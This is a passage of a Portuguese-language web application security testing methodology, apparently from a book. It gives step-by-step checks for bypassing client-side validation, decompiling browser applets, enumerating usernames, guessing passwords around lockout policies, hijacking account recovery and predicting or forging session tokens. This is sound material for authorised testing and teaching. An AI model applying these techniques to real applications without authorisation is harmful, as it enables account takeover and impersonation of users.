<form action="order.asp" onsubmit="return Validate(this)">
<input maxlength="3" name="quantity">
...
```

3.2.2 Teste cada campo de entrada afetado, enviando entradas que normalmente seriam bloqueadas pelos controles do lado do cliente para verificar se elas são replicadas no servidor.

3.2.3 A capacidade de contornar a validação do lado do cliente não representa necessariamente uma vulnerabilidade. No entanto, você deve analisar atentamente qual validação está sendo realizada. Confirme se o aplicativo está contando com os controles do lado do cliente para se proteger de entradas malformadas. Confirme também se há alguma condição explorável que possa ser acionada por essa entrada.

3.2.4 Revise cada formulário HTML para identificar quaisquer elementos desativados, como botões de envio esmaecidos. Por exemplo:

```
<input disabled="true" name="product">
```

Se você encontrar algum, envie-o ao servidor, juntamente com os outros parâmetros do formulário. Veja se o parâmetro tem algum efeito no processamento do servidor que possa ser aproveitado em um ataque. Como alternativa, use uma regra de proxy automatizada para ativar automaticamente os campos desativados, como as regras de "Modificação de HTML" do Burp Proxy.

3.3 Teste os componentes da extensão do navegador

3.3.1 *Entenda a operação do aplicativo cliente*

3.3.1.1 Configure um proxy de interceptação local para a tecnologia do cliente em análise e monitore todo o tráfego que passa entre o cliente e o servidor. Se os dados forem serializados, use uma ferramenta de desserialização, como o suporte AMF integrado do Burp ou o plug-in DSer Burp para Java.

3.3.1.2 Examine a funcionalidade apresentada no cliente. Determine quaisquer funções potencialmente sensíveis ou poderosas, usando ferramentas padrão no proxy de interceptação para reproduzir solicitações importantes ou modificar as respostas do servidor.

3.3.2 *Descompilar o cliente*

3.3.2.1 Identifique os applets utilizados pelo aplicativo. Procure por qualquer um dos seguintes tipos de arquivo sendo solicitados por meio do proxy de interceptação:

- `.class, .jar : Java`
- `.swf : Flash`
- `.xap : Silverlight`

Você também pode procurar tags de applet no código-fonte HTML das páginas do aplicativo. Por exemplo:

```
<applet code="input.class" id="TheApplet" codebase="/scripts/"></
applet>
```

3.3.2.2 Analise todas as chamadas feitas aos métodos do miniaplicativo no HTML de chamada e determine se os dados retornados do miniaplicativo estão sendo enviados ao servidor. Se esses dados forem opacos (ou seja, ofuscados ou criptografados), para modificá-los, provavelmente será necessário descompilar o miniaplicativo para obter seu código-fonte.

3.3.2.3 Faça o download do bytecode do applet inserindo o URL em seu navegador e salve o arquivo localmente. O nome do arquivo de bytecode é especificado no atributo `code` da tag do applet. O arquivo estará localizado no diretório especificado no atributo `codebase`, se ele estiver presente. Caso contrário, ele estará localizado no mesmo diretório da página em que a tag do applet aparece.

3.3.2.4 Use uma ferramenta adequada para descompilar o bytecode em código-fonte. Por exemplo:

```
C:\>jad.exe input.class
Analisando input.class... Gerando input.jad
```

Aqui estão algumas ferramentas adequadas para descompilar diferentes componentes de extensão do navegador:

- Java - Jad
- Flash - SWFScan, Flasm/Flare
- Silverlight - Refletor .NET

Se o applet estiver empacotado em um arquivo JAR, XAP ou SWF, você poderá descompactá-lo usando um leitor de arquivos padrão, como o WinRar ou o WinZip.

3.3.2.5 Revise o código-fonte relevante (começando com a implementação do método que retorna os dados opacos) para entender qual processamento está sendo realizado.

3.3.2.6 Determine se o applet contém algum método público que possa ser usado para executar a ofuscação relevante em uma entrada arbitrária.

3.3.2.7 Caso contrário, modifique o código-fonte do applet para neutralizar qualquer validação que ele execute ou para permitir que você ofusque entradas arbitrárias. Em seguida, você pode recompilar o código-fonte em seu formato de arquivo original usando as ferramentas de compilação fornecidas pelo fornecedor.

3.3.3 *Anexar um depurador*

3.3.3.1 Para aplicativos grandes do lado do cliente, muitas vezes é proibitivamente difícil descompilar o aplicativo inteiro, modificá-lo e reempacotá-lo sem

encontrando vários erros. Para esses aplicativos, geralmente é mais rápido anexar um depurador de tempo de execução ao processo. O JavaSnoop faz isso muito bem para Java. O Silverlight Spy é uma ferramenta disponível gratuitamente que permite o monitoramento do tempo de execução dos clientes Silverlight.

3.3.3.2 Localize as funções e os valores principais que o aplicativo emprega para conduzir a lógica comercial relacionada à segurança e coloque pontos de interrupção quando a função visada for chamada. Modifique os argumentos ou o valor de retorno conforme necessário para afetar o desvio de segurança.

3.3.4 *Testar controles ActiveX*

3.3.4.1 Identifique todos os controles ActiveX empregados pelo aplicativo. Procure por qualquer tipo de arquivo `.cab` que esteja sendo solicitado por meio do proxy de interceptação ou procure por tags de objeto no código-fonte HTML das páginas do aplicativo. Por exemplo:

```
<OBJETO
    classid="CLSID:4F878398-E58A-11D3-BEE9-00C04FA0D6BA"
    codebase="https://wahh app.com/scripts/input.cab" id="TheAxControl">
</OBJECT>
```

3.3.4.2 Geralmente, é possível subverter qualquer validação de entrada realizada em um controle ActiveX anexando um depurador ao processo e modificando diretamente os dados que estão sendo processados ou alterando o caminho de execução do programa. Consulte o Capítulo 5 para obter mais detalhes sobre esse tipo de ataque.

3.3.4.3 Muitas vezes é possível adivinhar a finalidade de diferentes métodos que um controle ActiveX exporta com base em seus nomes e nos parâmetros passados a eles. Use a ferramenta COMRaider para enumerar os métodos exportados pelo controle. Teste se algum deles pode ser manipulado para afetar o comportamento do controle e anular os testes de validação que ele implementa.

3.3.4.4 Se a finalidade do controle for coletar ou verificar determinadas informações sobre o computador cliente, use as ferramentas Filemon e Regmon para monitorar as informações que o controle coleta. Muitas vezes é possível criar itens adequados no registro do sistema e no sistema de arquivos para corrigir as entradas usadas pelo controle e, portanto, afetar seu comportamento.

3.3.4.5 Teste todos os controles ActiveX em busca de vulnerabilidades que possam ser exploradas para atacar outros usuários do aplicativo. É possível modificar o HTML usado para invocar um controle para passar dados arbitrários aos seus métodos e monitorar os resultados. Procure métodos com nomes que soem perigosos, como `LaunchExe`. Você também pode usar o COMRaider para realizar alguns testes básicos de fuzz de controles ActiveX para identificar falhas, como estouro de buffer.

4 Teste o mecanismo de autenticação

Figura 21-5: Teste do mecanismo de autenticação

4.1 Entenda o mecanismo

4.1.1 Estabeleça as tecnologias de autenticação em uso (por exemplo, formulários, certificados ou multifator).

4.1.2 Localize todas as funcionalidades relacionadas à autenticação (incluindo login, registro, recuperação de conta e assim por diante).

4.1.3 Se o aplicativo não implementar um mecanismo de autorregistro automatizado, determine se existe algum outro meio de obter várias contas de usuário.

4.2 Teste a qualidade da senha

4.2.1 Examine o aplicativo para obter uma descrição das regras de qualidade mínima aplicadas às senhas de usuários.

4.2.2 Tente definir vários tipos de senhas fracas, usando qualquer função de autorregistro ou de alteração de senha para estabelecer as regras realmente aplicadas. Experimente senhas curtas, apenas caracteres alfabéticos, apenas caracteres em caixa única, palavras do dicionário e o nome de usuário atual.

4.2.3 Teste a validação incompleta das credenciais. Defina uma senha forte e complexa (por exemplo, 12 caracteres com letras maiúsculas e minúsculas, numerais e caracteres tipográficos). Tente fazer login usando diferentes variações dessa senha, removendo o último caractere, alterando o caso de um caractere e removendo qualquer caractere especial. Se alguma dessas tentativas de login for bem-sucedida, continue experimentando sistematicamente para identificar qual validação está realmente sendo executada.

4.2.4 Depois de estabelecer as regras de qualidade mínima da senha e a extensão da validação da senha, identifique o intervalo de valores que um ataque de adivinhação de senha precisaria empregar para ter uma boa probabilidade de sucesso. Tente localizar todas as contas incorporadas que possam não ter sido submetidas aos requisitos de complexidade de senha padrão.

4.3 Teste para enumeração de nome de usuário

4.3.1 Identifique todos os locais nas várias funções de autenticação em que um nome de usuário é enviado, inclusive por meio de um campo de entrada na tela, um campo de formulário oculto ou um cookie. Os locais comuns incluem o login principal, o auto-registro, a alteração de senha, o logout e a recuperação de conta.

4.3.2 Para cada local, envie duas solicitações, contendo um nome de usuário válido e um inválido. Analise todos os detalhes das respostas do servidor a cada par de solicitações, inclusive o código de status HTTP, todos os redirecionamentos, as informações exibidas na tela, todas as diferenças ocultas na fonte da página HTML e o tempo que o servidor levou para responder. Observe que algumas diferenças podem ser sutis (por exemplo, a mesma mensagem de erro pode conter pequenas diferenças tipográficas). Você pode usar a função de histórico do seu proxy de interceptação para analisar todo o tráfego de e para o servidor. O WebScarab tem uma função para comparar duas respostas e destacar rapidamente as diferenças entre elas.

4.3.3 Se observar alguma diferença entre as respostas em que um nome de usuário válido e inválido é enviado, repita o teste com um par diferente de valores e confirme se existe uma diferença sistemática que possa fornecer uma base para a enumeração automatizada de nomes de usuário.

4.3.4 Verifique se há outras fontes de vazamento de informações no aplicativo que possam permitir a compilação de uma lista de nomes de usuário válidos. Exemplos disso são a funcionalidade de registro, as listas reais de usuários registrados e a menção direta de nomes ou endereços de e-mail nos comentários do código-fonte.

4.3.5 Localize qualquer autenticação subsidiária que aceite um nome de usuário e determine se ela pode ser usada para enumeração de nome de usuário. Preste atenção especial a uma página de registro que permita a especificação de um nome de usuário.

4.4 Teste a resistência à adivinhação de senhas

4.4.1 Identifique todos os locais do aplicativo em que as credenciais do usuário são enviadas. As duas instâncias principais normalmente são a função de login principal e a função de alteração de senha. A última normalmente é um alvo válido para ataques de adivinhação de senha somente se um nome de usuário arbitrário puder ser fornecido.

4.4.2 Em cada local, usando uma conta que você controla, envie manualmente várias solicitações contendo o nome de usuário válido, mas outras credenciais inválidas. Monitore as respostas do aplicativo para identificar quaisquer diferenças. Após cerca de 10 logins com falha, se o aplicativo não tiver retornado uma mensagem sobre bloqueio de conta, envie uma solicitação contendo credenciais válidas. Se essa solicitação for bem-sucedida, é provável que uma política de bloqueio de conta não esteja em vigor.

4.4.3 Se você não controla nenhuma conta, tente enumerar ou adivinhar um nome de usuário válido e faça várias solicitações inválidas usando esse palpite, monitorando se há mensagens de erro sobre bloqueio de conta. É claro que você deve estar ciente de que esse teste pode ter o efeito de suspender ou desativar uma conta pertencente a outro usuário.

4.5 Teste qualquer função de recuperação de conta

4.5.1 Identifique se o aplicativo contém algum recurso para que os usuários recuperem o controle de suas contas caso tenham esquecido suas credenciais. Isso geralmente é indicado por um link Esqueceu sua senha próximo à função de login principal.

4.5.2 Estabeleça como a função de recuperação de conta funciona fazendo um passo a passo completo do processo de recuperação usando uma conta que você controla.

4.5.3 Se a função usar um desafio, como uma pergunta secreta, determine se os usuários podem definir ou selecionar seu próprio desafio durante o registro. Em caso afirmativo, use uma lista de nomes de usuário enumerados ou comuns para coletar uma lista de desafios e verifique se há algum que pareça ser fácil de adivinhar.

4.5.4 Se a função usar uma dica de senha, faça o mesmo exercício para obter uma lista de dicas de senha e identifique qualquer uma que pareça ser fácil de adivinhar.

4.5.5 Realize os mesmos testes em todos os desafios de recuperação de conta que você realizou na função de login principal para avaliar a vulnerabilidade a ataques de adivinhação automatizados.

4.5.6 Se a função envolver o envio de um e-mail ao usuário para concluir o processo de recuperação, procure por pontos fracos que possam permitir que você assuma o controle das contas de outros usuários. Determine se é possível controlar o endereço para o qual o e-mail é enviado. Se a mensagem contiver um URL de recuperação exclusivo, obtenha várias mensagens usando um endereço de e-mail que você controla e tente identificar padrões que possam permitir a previsão dos URLs emitidos para outros usuários. Aplique a metodologia descrita na etapa 5.3 para identificar quaisquer sequências previsíveis.

4.6 Teste qualquer função Remember Me

4.6.1 Se a função de login principal ou sua lógica de suporte contiver uma função "Lembrar-me", ative-a e analise seus efeitos. Se essa função permitir que o usuário faça login em ocasiões subsequentes sem inserir nenhuma credencial, analise-a atentamente para verificar se há alguma vulnerabilidade.

4.6.2 Inspecione atentamente todos os cookies persistentes que são definidos quando a função Lembrar-me é ativada. Procure por dados que identifiquem o usuário explicitamente ou que pareçam conter algum identificador previsível do usuário.

4.6.3 Mesmo que os dados armazenados pareçam estar muito codificados ou ofuscados, analise-os com atenção e compare os resultados da memorização de vários nomes de usuário e/ou senhas muito semelhantes para identificar quaisquer oportunidades de engenharia reversa dos dados originais. Aplique a metodologia descrita na etapa 5.2 para identificar quaisquer dados significativos.

4.6.4 Dependendo dos resultados, modifique o conteúdo do seu cookie de maneira adequada para tentar se passar por outros usuários do aplicativo.

4.7 Teste qualquer função de personificação

4.7.1 Se o aplicativo contiver qualquer funcionalidade explícita que permita que um usuário se passe por outro, analise-o atentamente para verificar se há vulnerabilidades que possam permitir que você se passe por usuários arbitrários sem a devida autorização.

4.7.2 Procure qualquer dado fornecido pelo usuário que seja usado para determinar o alvo da representação. Tente manipular esses dados para se passar por outra pessoa

outros usuários, especialmente usuários administrativos, o que pode permitir o aumento de privilégios.

4.7.3 Se você realizar algum ataque automatizado de adivinhação de senha contra outras contas de usuário, procure por contas que pareçam ter mais de uma senha válida ou várias contas que pareçam ter a mesma palavra-chave. Isso pode indicar a presença de uma senha de backdoor, que os administradores podem usar para acessar o aplicativo como qualquer usuário.

4.8 Teste de exclusividade do nome de usuário

4.8.1 Se o aplicativo tiver uma função de autorregistro que permita especificar um nome de usuário desejado, tente registrar o mesmo nome de usuário duas vezes com senhas diferentes.

4.8.2 Se o aplicativo bloquear a segunda tentativa de registro, você poderá explorar esse comportamento para enumerar os nomes de usuário registrados.

4.8.3 Se o aplicativo registrar ambas as contas, investigue mais a fundo para determinar seu comportamento quando ocorrer uma colisão de nome de usuário e senha. Tente alterar a senha de uma das contas para que corresponda à da outra. Além disso, tente registrar duas contas com nomes de usuário e senhas idênticos.

4.8.4 Se o aplicativo o alertar ou gerar um erro quando ocorrer uma colisão de nome de usuário e senha, você provavelmente poderá explorar isso para realizar um ataque de adivinhação automatizado para descobrir a senha de outro usuário. Selecione um nome de usuário enumerado ou adivinhado e tente criar contas que tenham esse nome de usuário e senhas diferentes. Quando o aplicativo rejeitar uma senha específica, você provavelmente encontrou a senha existente para a conta visada.

4.8.5 Se o aplicativo parecer tolerar uma colisão de nome de usuário e senha sem erro, faça login usando as credenciais colidentes. Determine o que acontece e se o comportamento do aplicativo pode ser aproveitado para obter acesso não autorizado às contas de outros usuários.

4.9 Teste a previsibilidade das credenciais geradas automaticamente

4.9.1 Se o aplicativo gerar automaticamente nomes de usuário ou senhas, tente obter vários valores em rápida sucessão e identifique quaisquer sequências ou padrões detectáveis.

4.9.2 Se os nomes de usuário forem gerados de forma previsível, extrapole para trás para obter uma lista de possíveis nomes de usuário válidos. Você pode usar isso como base para adivinhação automática de senhas e outros ataques.

4.9.3 Se as senhas forem geradas de forma previsível, extrapole o padrão para obter uma lista de possíveis senhas emitidas para outros usuários do aplicativo. Isso pode ser combinado com qualquer lista de nomes de usuário que você obtiver para realizar um ataque de adivinhação de senha.

4.10 Verificação de transmissão insegura de credenciais

4.10.1 Percorra todas as funções relacionadas à autenticação que envolvam a transferência de credenciais, incluindo o login principal, o registro da conta, a alteração de senha e qualquer página que permita a visualização ou a atualização das informações do perfil do usuário. Monitore todo o tráfego que passa em ambas as direções entre o cliente e o servidor usando seu proxy de interceptação.

4.10.2 Identifique todos os casos em que as credenciais são transmitidas em qualquer direção. Você pode definir regras de interceptação em seu proxy para sinalizar mensagens que contenham strings específicas.

4.10.3 Se as credenciais forem transmitidas na string de consulta de URL, elas poderão ser vulneráveis à divulgação no histórico do navegador, na tela, nos registros do servidor e no cabeçalho `Referer` quando links de terceiros forem seguidos.

4.10.4 Se as credenciais forem armazenadas em um cookie, elas poderão ser vulneráveis à divulgação por meio de ataques XSS ou ataques locais de privacidade.

4.10.5 Se as credenciais forem transmitidas do servidor para o cliente, elas poderão ser comprometidas por meio de vulnerabilidades no gerenciamento de sessões ou nos controles de acesso, ou em um ataque XSS.

4.10.6 Se as credenciais forem transmitidas por uma conexão não criptografada, elas estarão vulneráveis à interceptação por um espião.

4.10.7 Se as credenciais forem enviadas usando HTTPS, mas o formulário de login em si for carregado usando HTTP, o aplicativo estará vulnerável a um ataque man-in-the-middle que pode ser usado para capturar credenciais.

4.11 Verificação de distribuição insegura de credenciais

4.11.1 Se as contas forem criadas por meio de algum canal fora de banda ou se o aplicativo tiver uma função de autorregistro que não determine todas as credenciais iniciais de um usuário, estabeleça os meios pelos quais as credenciais são distribuídas aos novos usuários. Os métodos comuns incluem o envio de uma mensagem para um endereço de e-mail ou postal.

4.11.2 Se o aplicativo gerar URLs de ativação de conta que são distribuídos fora da banda, tente registrar várias contas novas em sucessão próxima e identifique qualquer sequência nos URLs que receber. Se f o r possível determinar um padrão, tente prever os URLs enviados a usuários recentes e futuros e tente usar esses URLs para assumir a propriedade de suas contas.

4.11.3 Tente reutilizar um único URL de ativação várias vezes e veja se o aplicativo permite isso. Se não permitir, tente bloquear a conta de destino antes de reutilizar a URL e veja se a URL ainda funciona. Determine se isso permite que você defina uma nova senha em uma conta ativa.

4.12 Teste de armazenamento inseguro

4.12.1 Se você obtiver acesso a senhas com hash, verifique se há contas que compartilham o mesmo valor de senha com hash. Tente fazer login com senhas comuns para o valor de hash mais comum.

4.12.2 Use uma tabela de arco-íris off-line para o algoritmo de hashing em questão para recuperar o valor de texto não criptografado.

4.13 Teste de falhas lógicas

4.13.1 *Teste para condições de falha de abertura*

4.13.1.1 Para cada função em que o aplicativo verifica as credenciais de um usuário, incluindo as funções de login e alteração de senha, percorra o processo normalmente, usando uma conta que você controla. Observe cada parâmetro de solicitação enviado ao aplicativo.

4.13.1.2 Repita o processo várias vezes, modificando cada parâmetro por vez de várias maneiras inesperadas, projetadas para interferir na lógica do aplicativo. Para cada parâmetro, inclua as seguintes alterações:

- Envie uma string vazia como valor.
- Remova o par nome/valor.
- Envie valores muito longos e muito curtos.
- Envie cadeias de caracteres em vez de números e vice-versa.
- Enviar o mesmo parâmetro nomeado várias vezes, com valores iguais e diferentes.

4.13.1.3 Analise atentamente as respostas do aplicativo às solicitações anteriores. Se ocorrer alguma divergência inesperada em relação ao caso base, alimente essa observação em sua estruturação de outros casos de teste. Se uma modificação causar uma alteração no comportamento, tente combiná-la com outras alterações para levar a lógica do aplicativo aos seus limites.

4.13.2 *Teste qualquer mecanismo de múltiplos estágios*

4.13.2.1 Se alguma função relacionada à autenticação envolver o envio de credenciais em uma série de solicitações diferentes, identifique a finalidade aparente de cada estágio distinto e anote os parâmetros enviados em cada estágio.

4.13.2.2 Repita o processo várias vezes, modificando a sequência de solicitações de forma a interferir na lógica do aplicativo, incluindo os seguintes testes:

- Passe por todos os estágios, mas em uma sequência diferente da pretendida.
- Prossiga diretamente para cada estágio e continue a sequência normal a partir daí.
- Prossiga pela sequência normal várias vezes, pulando cada estágio por vez e continuando a sequência normal a partir do próximo estágio.
- Com base em suas observações e na finalidade aparente de cada estágio do mecanismo, tente pensar em outras maneiras de modificar a sequência e acessar os diferentes estágios que os desenvolvedores talvez não tenham previsto.

4.13.2.3 Determine se uma única informação (como o nome do usuário) é enviada em mais de um estágio, seja porque é capturada mais de uma vez pelo usuário ou porque é transmitida pelo cliente em um campo de formulário oculto, cookie ou parâmetro de string de consulta predefinido. Se for o caso, tente enviar valores diferentes em estágios diferentes (válidos e inválidos) e observe o efeito. Tente determinar se o item enviado é, às vezes, supérfluo ou se é validado em um estágio e, em seguida, confiável, ou se é validado em diferentes estágios com verificações diferentes. Tente explorar o comportamento do aplicativo para obter acesso não autorizado ou reduzir a eficácia dos controles impostos pelo mecanismo.

4.13.2.4 Procure por dados transmitidos pelo cliente que não tenham sido capturados do usuário em nenhum momento. Se forem usados parâmetros ocultos

para rastrear o estado do processo em estágios sucessivos, pode ser possível interferir na lógica do aplicativo modificando esses parâmetros de forma artesanal.

4.13.2.5 Se alguma parte do processo envolver a apresentação de um desafio de variação contínua do aplicativo, teste dois defeitos comuns:

- Se um parâmetro que especifica o desafio for enviado junto com a resposta do usuário, determine se você pode efetivamente escolher seu próprio desafio modificando esse valor.
- Tente prosseguir até o desafio variável várias vezes com o mesmo nome de usuário e determine se um desafio diferente é apresentado. Se for o caso, você poderá efetivamente escolher seu próprio desafio, prosseguindo para esse estágio repetidamente até que o desafio desejado seja apresentado.

4.14 Explorar quaisquer vulnerabilidades para obter acesso não autorizado

4.14.1 Analise as vulnerabilidades identificadas nas várias funções de autenticação e identifique as que podem ser aproveitadas para atingir seus objetivos ao atacar o aplicativo. Normalmente, isso envolve a tentativa de autenticação como um usuário diferente, se possível, um usuário com privilégios administrativos.

4.14.2 Antes de montar qualquer tipo de ataque automatizado, observe as defesas de bloqueio de conta que você identificou. Por exemplo, ao realizar a enumeração de nomes de usuário em uma função de login, envie uma senha comum com cada solicitação, em vez de um valor completamente arbitrário, para não desperdiçar uma tentativa de login com falha em cada nome de usuário descoberto. Da mesma forma, execute qualquer ataque de adivinhação de senha com base na amplitude, e não na profundidade. Inicie sua lista de palavras com as senhas fracas mais comuns e prossiga por essa lista, tentando cada item com cada nome de usuário enumerado.

4.14.3 Leve em conta as regras de qualidade de senha e a integridade da validação de senha ao criar listas de palavras para usar em qualquer ataque de adivinhação de senha para evitar casos de teste impossíveis ou supérfluos.

4.14.4 Use as técnicas descritas no Capítulo 14 para automatizar o máximo de trabalho possível e maximizar a velocidade e a eficácia de seus ataques.

5 Teste o mecanismo de gerenciamento de sessão

Figura 21-6: Teste do mecanismo de gerenciamento de sessão

5.1 Entenda o mecanismo

5.1.1 Analisar o mecanismo usado para gerenciar sessões e estado. Determine se o aplicativo usa tokens de sessão ou algum outro método para lidar com a série de solicitações recebidas de cada usuário. Observe que algumas tecnologias de autenticação (como a autenticação HTTP) podem não exigir um mecanismo de sessão completo para reidentificar os usuários após a autenticação. Além disso, alguns aplicativos usam um mecanismo de estado sem sessão no qual todas as informações de estado são transmitidas pelo cliente, geralmente de forma criptografada ou ofuscada.

5.1.2 Se o aplicativo usar tokens de sessão, confirme exatamente quais dados são realmente usados para reidentificar os usuários. Os itens que podem ser usados para transmitir tokens incluem cookies HTTP, parâmetros de string de consulta e campos de formulário ocultos. Vários dados diferentes podem ser usados coletivamente para reidentificar o usuário, e diferentes itens podem ser usados por diferentes componentes de back-end. Muitas vezes, os itens que se parecem com tokens de sessão podem não ser realmente empregados como tal pelo aplicativo, como o cookie padrão gerado pelo servidor da Web.

5.1.3 Para verificar quais itens estão realmente sendo empregados como tokens de sessão, encontre uma página ou função que seja certamente dependente da sessão (como uma página My Details específica do usuário). Em seguida, faça várias solicitações para ela, removendo sistematicamente cada item que você suspeita estar sendo usado como um token de sessão. Se a remoção de um item impedir que a página dependente da sessão seja retornada, isso poderá confirmar que o item é um token de sessão. O Burp Repeater é uma ferramenta útil para realizar esses testes.

5.1.4 Depois de estabelecer quais itens de dados estão realmente sendo usados para identificar os usuários, confirme, para cada token, se ele está sendo validado em sua totalidade ou se alguns subcomponentes do token são ignorados. Altere o valor do token em um byte de cada vez e verifique se o valor modificado ainda é aceito. Se você descobrir que determinadas partes do token não são realmente usadas para manter o estado da sessão, poderá excluí-las da análise posterior.

5.2 Testar o significado dos tokens

5.2.1 Faça login como vários usuários diferentes em momentos diferentes e registre os tokens recebidos do servidor. Se o autorregistro estiver disponível e você puder escolher seu nome de usuário, faça login com uma série de nomes de usuário semelhantes que tenham pequenas variações, como A, AA, AAA, AAAA, AAAB, AAAC, AABA e assim por diante. Se outros dados específicos do usuário forem enviados no login ou armazenados em perfis de usuário (como um endereço de e-mail), execute um exercício semelhante para modificar esses dados sistematicamente e capturar os tokens resultantes.

5.2.2 Analise os tokens recebidos em busca de correlações que pareçam estar relacionadas ao nome de usuário e a outros dados controláveis pelo usuário.

5.2.3 Analise os tokens em busca de qualquer codificação ou ofuscação detectável. Procure uma correlação entre o comprimento do nome de usuário e o comprimento do token, o que indica fortemente que algum tipo de ofuscação ou codificação está em uso. Quando o nome de usuário contiver uma sequência do mesmo caractere, procure uma sequência de caracteres correspondente no token, o que pode indicar o uso de ofuscação XOR. Procure sequências no token que contenham apenas caracteres hexadecimais, o que pode indicar a codificação hexadecimal de uma cadeia ASCII ou de outras informações. Procure sequências que terminem em um sinal de igual e/ou que contenham apenas os outros caracteres válidos da Base64: a a z, A a Z, 0 a 9, + e /.

5.2.4 Se for possível identificar dados significativos em sua amostra de tokens de sessão, considere se isso é suficiente para montar um ataque que tente adivinhar os tokens emitidos recentemente para outros usuários do aplicativo. Encontre uma página do aplicativo que seja dependente da

sessão e use as técnicas

descrito no Capítulo 14 para automatizar a tarefa de gerar e testar possíveis tokens.

5.3 Tokens de teste para previsibilidade

5.3.1 Gerar e capturar um grande número de tokens de sessão em uma sucessão rápida, usando uma solicitação que faz com que o servidor retorne um novo token (por exemplo, uma solicitação de login bem-sucedida).

5.3.2 Tente identificar quaisquer padrões em sua amostra de tokens. Em todos os casos, você deve usar o Burp Sequencer, conforme descrito no Capítulo 7, para realizar testes estatísticos detalhados das propriedades de aleatoriedade dos tokens do aplicativo. Dependendo dos resultados, também pode ser útil realizar a seguinte análise manual:

- Aplique seu conhecimento sobre quais tokens e subsequências o aplicativo realmente usa para reidentificar os usuários. Ignore todos os dados que não são usados dessa forma, mesmo que variem entre as amostras.
- Se não estiver claro que tipo de dados está contido no token, ou em qualquer componente individual dele, tente aplicar várias decodificações (por exemplo, Base64) para ver se surgem dados mais significativos. Pode ser necessário aplicar várias decodificações em sequência.
- Tente identificar quaisquer padrões nas sequências de valores contidos em cada token ou componente decodificado. Calcule as diferenças entre os valores sucessivos. Mesmo que esses valores pareçam caóticos, pode haver um conjunto fixo de diferenças observadas, o que reduz consideravelmente o escopo de qualquer ataque de força bruta.
- Obtenha uma amostra semelhante de tokens depois de esperar alguns minutos e repita a mesma análise. Tente detectar se algum conteúdo dos tokens depende do tempo.

5.3.3 Se você identificar algum padrão, capture uma segunda amostra de tokens usando um endereço IP diferente e um nome de usuário diferente. Isso o ajudará a identificar se o mesmo padrão é detectado e se os tokens recebidos no primeiro exercício podem ser extrapolados para adivinhar os tokens recebidos no segundo.

5.3.4 Se for possível identificar sequências exploráveis ou dependências de tempo, considere se isso é suficiente para montar um ataque que tente adivinhar os tokens emitidos recentemente para outros usuários do aplicativo. Use as técnicas descritas no Capítulo 14 para automatizar a tarefa de gerar e testar possíveis tokens. Exceto nos tipos mais simples de sequências, é provável que seu ataque precise envolver algum tipo de script personalizado.

5.3.5 Se a ID da sessão parecer ter sido escrita de forma personalizada, use a fonte de carga útil "bit flipper" no Burp Intruder para modificar sequencialmente cada bit no token da sessão. Procure uma cadeia de caracteres na resposta que indique se a modificação do token não resultou em uma sessão inválida e se a sessão pertence a um usuário diferente.

5.4 Verificação de transmissão insegura de tokens

5.4.1 Percorra o aplicativo normalmente, começando com conteúdo não autenticado no URL inicial, passando pelo processo de login e, em seguida, percorrendo toda a funcionalidade do aplicativo. A n o t e todas as ocasiões em que um novo token de sessão for emitido e quais partes de suas comunicações usam HTTP e quais usam HTTPS. Você pode usar a função de registro do seu proxy de interceptação para registrar essas informações.

5.4.2 Se os cookies HTTP estiverem sendo usados como mecanismo de transmissão para tokens de sessão, verifique se o sinalizador seguro está definido, impedindo que eles sejam transmitidos por conexões HTTP.

5.4.3 Determine se, no uso normal do aplicativo, os tokens de sessão são transmitidos por uma conexão HTTP. Em caso afirmativo, eles são vulneráveis à interceptação.

5.4.4 Nos casos em que o aplicativo usa HTTP para áreas não autenticadas e alterna para HTTPS para as áreas de login e/ou autenticadas do aplicativo, verifique se um novo token é emitido para a parte HTTPS das comunicações ou se um token emitido durante o estágio HTTP permanece ativo quando o aplicativo alterna para HTTPS. Se um token emitido durante o estágio HTTP permanecer ativo, o token estará vulnerável à interceptação.

5.4.5 Se a área HTTPS do aplicativo contiver algum link para URLs HTTP, siga-o e verifique se o token de sessão foi enviado. Em caso afirmativo, determine se ele continua sendo válido ou se é imediatamente encerrado pelo servidor.

5.5 Verificar se há divulgação de tokens nos registros

5.5.1 Se os exercícios de mapeamento de aplicativos identificaram qualquer funcionalidade de registro, monitoramento ou diagnóstico, analise atentamente essas funções para determinar se há tokens de sessão divulgados nelas. Confirme quem está normalmente autorizado a acessar essas funções. Se elas forem destinadas apenas a administradores, determine se existem outras vulnerabilidades que possam permitir que um usuário com menos privilégios as acesse.

5.5.2 Identifique todas as instâncias em que os tokens de sessão são transmitidos no URL. Pode ser que os tokens sejam geralmente transmitidos de uma maneira mais segura, mas os desenvolvedores usaram o URL em casos específicos para contornar um problema específico. Nesse caso, eles podem ser transmitidos no cabeçalho `Referer` quando os usuários seguirem qualquer link externo. Verifique se há alguma funcionalidade que permita injetar links externos arbitrários nas páginas visualizadas por outros usuários.

5.5.3 Se você encontrar alguma maneira de reunir tokens de sessão válidos emitidos para outros usuários, procure uma maneira de testar cada token para determinar se ele pertence a um usuário administrativo (por exemplo, tentando acessar uma função privilegiada usando o token).

5.6 Verificar o mapeamento de tokens para sessões

5.6.1 Faça login no aplicativo duas vezes usando a mesma conta de usuário, a partir de processos de navegador diferentes ou de computadores diferentes. Determine se as duas sessões permanecem ativas ao mesmo tempo. Se isso acontecer, o aplicativo é compatível com sessões simultâneas, permitindo que um invasor que tenha comprometido as credenciais de outro usuário as utilize sem risco de detecção.

5.6.2 Faça login e logout várias vezes usando a mesma conta de usuário, seja em diferentes processos do navegador ou em diferentes computadores. Determine se um novo token de sessão é emitido a cada vez ou se o mesmo token é emitido toda vez que a mesma conta faz login. Se esse último caso ocorrer, o aplicativo não está realmente empregando tokens de sessão adequados, mas está usando cadeias persistentes exclusivas para reidentificar cada usuário. Nessa situação, não há como se proteger contra logins simultâneos ou impor adequadamente o tempo limite da sessão.

5.6.3 Se os tokens parecerem conter alguma estrutura e significado, tente separar os componentes que podem identificar o usuário daqueles que parecem ser inescrutáveis. Tente modificar os componentes do token relacionados ao usuário para que eles se refiram a outros usuários conhecidos do aplicativo. Verifique se o aplicativo aceita o token resultante e se ele permite que você se disfarce como esse usuário. Consulte o Capítulo 7 para ver exemplos desse tipo de vulnerabilidade sutil.

5.7 Encerramento da sessão de teste

5.7.1 Ao testar falhas no tempo limite da sessão e no logout, concentre-se apenas no tratamento de sessões e tokens pelo servidor, e não em quaisquer eventos que ocorram no cliente. Em termos de encerramento de sessão, nada depende muito do que acontece com o token no navegador do cliente.

5.7.2 Verifique se a expiração da sessão está implementada no servidor:

- Faça login no aplicativo para obter um token de sessão válido.
- Aguarde um período sem usar esse token e, em seguida, envie uma solicitação para uma página protegida (como My Details) usando o token.
